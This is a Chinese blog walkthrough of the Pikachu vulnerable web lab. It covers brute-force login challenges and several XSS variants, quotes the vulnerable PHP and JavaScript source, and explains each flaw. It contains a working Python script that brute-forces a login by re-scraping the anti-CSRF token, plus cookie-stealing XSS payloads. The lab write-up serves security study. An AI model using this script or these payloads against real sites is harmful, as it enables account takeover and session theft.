Pikachu靶机通关和源码分析
6 分钟
前言
Pikachu靶场拥有各类简单的漏洞,能掌握基本的漏洞利用。
提示:以下是本篇文章正文内容,下面案例可供参考
一、暴力破解关
1,基于表单的暴力破解
没什么好说的,直接burpsuite的intruder模块进行字典爆破。
爆出账号为admin,密码是123456
源码:
if(isset($_POST['submit']) && $_POST['username'] && $_POST['password']){
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from users where username=? and password=md5(?)";
$line_pre = $link->prepare($sql);
$line_pre->bind_param('ss',$username,$password);
if($line_pre->execute()){
$line_pre->store_result();
if($line_pre->num_rows>0){
$html.= '
login success
';
} else{
$html.= '
username or password is not exists~
';
}
} else{
$html.= '
执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'
';
}
}
提交的username和password与数据库users表的username和password字段作比较,相同则登录成功。
2,基于验证码绕过的爆破(on server)
用同一个验证码,进行爆破试试。
验证码一直有效,爆破出密码依旧为admin,123456。
源码:
if(isset($_POST['submit'])) {
if (empty($_POST['username'])) {
$html .= "
用户名不能为空
";
} else {
if (empty($_POST['password'])) {
$html .= "
密码不能为空
";
} else {
if (empty($_POST['vcode'])) {
$html .= "
验证码不能为空哦!
";
} else {
if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {
$html .= "
验证码输入错误哦!
";
}else{
$username = $_POST['username'];
$password = $_POST['password'];
$vcode = $_POST['vcode'];
$sql = "select * from users where username=? and password=md5(?)";
$line_pre = $link->prepare($sql);
$line_pre->bind_param('ss',$username,$password);
if($line_pre->execute()){
$line_pre->store_result();
if($line_pre->num_rows()==1){
$html.='
login success
';
}else{
$html.= '
username or password is not exists~
';
}
}else{
$html.= '
执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'
';
}
}
}
}
}
}
增加了验证码的应用,将POST请求的验证码与session[vode]作比较,不相等即不正确,关键在于没有在每一次请求后销毁session[code]并重新生成,导致了验证码一直有效。应当在login
success以及else后都进行session[vode]的销毁,并重新生成。
3,验证码绕过(on client)
源代码:
if(isset($_POST['submit'])){
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from users where username=? and password=md5(?)";
$line_pre = $link->prepare($sql);
$line_pre->bind_param('ss', $username, $password);
if ($line_pre->execute()) {
$line_pre->store_result();
if ($line_pre->num_rows > 0) {
$html .= '
login success
';
} else {
$html .= '
username or password is not exists~
';
}
} else {
$html .= '
执行错误:' . $line_pre->errno . '错误信息:' . $line_pre->error . '
';
}
}else{
$html .= '
please input username and password~
';
}
}
前端:
var code; //在全局 定义验证码
function createCode() {
code = "";
var codeLength = 5;//验证码的长度
var checkCode = document.getElementById("checkCode");
var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的
for (var i = 0; i < codeLength; i++) {
var charIndex = Math.floor(Math.random() * 36);
code += selectChar[charIndex];
}
//alert(code);
if (checkCode) {
checkCode.className = "code";
checkCode.value = code;
}
}
function validate() {
var inputCode = document.querySelector('#bf_client .vcode').value;
if (inputCode.length <= 0) {
alert("请输入验证码!");
return false;
} else if (inputCode != code) {
alert("验证码输入错误!");
createCode();//刷新验证码
return false;
}
else {
return true;
}
}
createCode();
后端并没有出现验证码,仅进行登录,前端通过floor函数生成5个随机数字取数组中对应的索引值作为验证码,validate()保证每次提交验证码都会刷新,并且验证验证码的正确性。禁用掉validate()函数进行抓包爆破或将提交的vode直接去掉进行爆破都可以。
四、Token防爆破?
存在token,并且每次提交后token都会刷新,先看看HTML页面的源码。
页面中隐藏了下一次token的值,可以进行爆破,可使用burpsuite的宏或者正则匹配,这里我使用python脚本。
import requests
from bs4 import BeautifulSoup
s = requests.session()
password = []
f = open('password.txt', encoding='utf-8')
while 1:
num = f.readline().rstrip()
password.append(num)
if not num:
break
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Cookie': 'PHPSESSID=782u3n1vs7s22l76u4vphhjidu'
}
req = s.get('http://6d0545c2b5a341ccb49fb8844d0a4d02.app.mituan.zone/vul/burteforce/bf_token.php')
# print(req.text)
token = BeautifulSoup(req.text, 'lxml').find('input', type='hidden').get('value')
for pa in password:
req = s.post(url='http://6d0545c2b5a341ccb49fb8844d0a4d02.app.mituan.zone/vul/burteforce/bf_token.php',
data={'username': 'admin', 'password': pa, 'token': token, 'submit': 'Login'})
if 'success' in req.text:
print("爆破成功,用户名:admin,密码为:%s" % pa)
break
else:
req = s.get('http://6d0545c2b5a341ccb49fb8844d0a4d02.app.mituan.zone/vul/burteforce/bf_token.php')
token = BeautifulSoup(req.text, 'lxml').find('input', type='hidden').get('value')
源码分析:
if(isset($_POST['submit']) && $_POST['username'] && $_POST['password'] && $_POST['token']){
$username = $_POST['username'];
$password = $_POST['password'];
$token = $_POST['token'];
$sql = "select * from users where username=? and password=md5(?)";
$line_pre = $link->prepare($sql);
$line_pre->bind_param('ss',$username,$password);
if($token == $_SESSION['token']){
if($line_pre->execute()){
$line_pre->store_result();
if($line_pre->num_rows>0){
$html.= '
login success
';
} else{
$html.= '
username or password is not exists~
';
}
}else{
$html.= '
执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'
';
}
}else{
$html.= '
csrf token error
';
}
}
set_token();
HTML:
通过比较Session[token]的值,并且每次请求后都会利用set_token()刷新token,若不显示刷新后的token值,确实是可以防暴力破解。
二、Cross-Site-Scripting
1,反射型(get)
前端设置了字符串的长度限制,直接去掉就好。
源码分析:
$html='';
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="
输入'kobe'试试-_-
";
}else{
if($_GET['message']=='kobe'){
$html.="
愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!
![]({$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png)";
}else{
$html.="
who is {$_GET['message']},i don't care!
";
}
}
}
?>
扫描过滤都没有,直接message=等都能取出cookie
2,反射型(POST)
这里有post登录页,应该要先登录,使用admin/123456登录。
使用上面相同的payload即可。
源码分析:
登录:
if(isset($_POST['submit'])){
if($_POST['username']!=null && $_POST['password']!=null){
$username=escape($link, $_POST['username']);
$password=escape($link, $_POST['password']);
$query="select * from users where username='$username' and password=md5('$password')";
$result=execute($link, $query);
if(mysqli_num_rows($result)==1){
$data=mysqli_fetch_assoc($result);
//登录时,生成cookie,1个小时有效期,供其他页面判断
setcookie('ant[uname]',$_POST['username'],time()+3600);
setcookie('ant[pw]',sha1(md5($_POST['password'])),time()+3600);
header("location:xss_reflected_post.php");
// echo '"';
}else{
$html ="
username or password error!
";
}
}else{
$html ="
please input username and password!
";
}
}
登录后:
if(isset($_POST['submit'])){
if(empty($_POST['message'])){
$html.="
输入'kobe'试试-_-
";
}else{
//下面直接将前端输入的参数原封不动的输出了,出现xss
if($_POST['message']=='kobe'){
$html.="
愿你和{$_POST['message']}一样,永远年轻,永远热血沸腾!
![]({$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png)";
}else{
$html.="
who is {$_POST['message']},i don't care!
";
}
}
}
if(isset($_GET['logout']) && $_GET['logout'] == '1'){
setcookie('ant[uname]','');
setcookie('ant[pw]','');
header("location:post_login.php");
}
function escape($link,$data){
if(is_string($data)){
return mysqli_real_escape_string($link,$data);
}
if(is_array($data)){
foreach ($data as $key=>$val){
$data[$key]=escape($link,$val);
}
}
return $data;
}
登录时,使用了escape()进行特殊字符如换行符,单引号,双引号,空格进行转义,防止SQL注入,登录成功后,会生成有效期为1小时的cookie,依旧未对信息做任何过滤。
3,存储型
![]()
源码分析:
$link=connect();
$html='';
if(array_key_exists("message",$_POST) && $_POST['message']!=null){
$message=escape($link, $_POST['message']);
$query="insert into message(content,time) values('$message',now())";
$result=execute($link, $query);
if(mysqli_affected_rows($link)!=1){
$html.="
数据库出现异常,提交失败!
";
}
}
if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
$query="delete from message where id={$_GET['id']}";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
echo "";
}else{
$html.="
删除失败,请重试并检查数据库是否还好!
";
}
}
对传入的message数据经过特殊字符转义后(主要针对SQL)插入数据库,导致了存储型的xss,第二个if是进行删除的按钮,通过索引ID进行message的删除,删除成功则立刻跳转到原页面,删除时也未经过任何转义,能够进行sql的盲注。
4,DOM型
输入的信息text会从前端通过javascript生成what do you see
'> 先将生成的
源码:
5,DOM-X型
输入的信息text会出现在URL中
'οnclick="alert(document.cookie)">
源码:
if(isset($_GET['text'])){
$html.= "有些费尽心机想要忘记的事情,后来真的就忘掉了";
}
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
document.getElementById("dom").innerHTML = "[就让往事都随风,都随风吧]("+xss+")";
}
alert(document.cookie)
alert(document.cookie)
alert(document.cookie)
~ ~ The End ~ ~
分类标签:Web安全,CTF
文章标题:Pikachu靶机通关和源码分析
文章链接:https://aiwin.fun/index.php/archives/1021/
最后编辑:2024 年 1 月 5 日 21:04 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
文章标题:Pikachu靶机通关和源码分析
文章链接:https://aiwin.fun/index.php/archives/1021/
最后编辑:2024 年 1 月 5 日 21:04 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)